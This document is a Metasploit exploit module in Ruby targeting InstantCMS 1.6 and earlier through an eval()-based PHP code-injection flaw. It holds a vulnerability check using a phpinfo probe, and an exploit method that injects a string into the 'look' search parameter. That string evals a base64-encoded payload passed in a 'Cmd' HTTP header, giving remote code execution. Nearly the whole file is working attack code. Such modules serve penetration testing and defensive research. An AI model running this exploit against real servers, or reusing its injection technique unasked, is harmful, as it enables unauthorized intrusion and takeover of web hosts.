##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
        'Description' => %q{
          This module exploits an arbitrary PHP command execution vulnerability because of a
          dangerous use of eval() in InstantCMS in versions 1.6 and prior.
        },
        'Author' => [
          'AkaStep', # Vulnerability discovery and PoC
          'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-10051' ],
          [ 'BID', '60816' ],
          [ 'PACKETSTORM', '122176' ]
        ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'InstantCMS 1.6', {} ],
        ],
        'DisclosureDate' => '2013-06-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.to_s),
      'vars_get' =>
      {
        'view'	=> 'search',
        'query' => '${echo phpinfo()}'
      }
    })

    if res and res.body.match(/Build Date/)
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Executing payload...")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.to_s),
      'vars_get' =>
      {
        'view'	=> 'search',
        'query' => rand_text_alpha(3 + rand(3)),
        'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
      },
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end
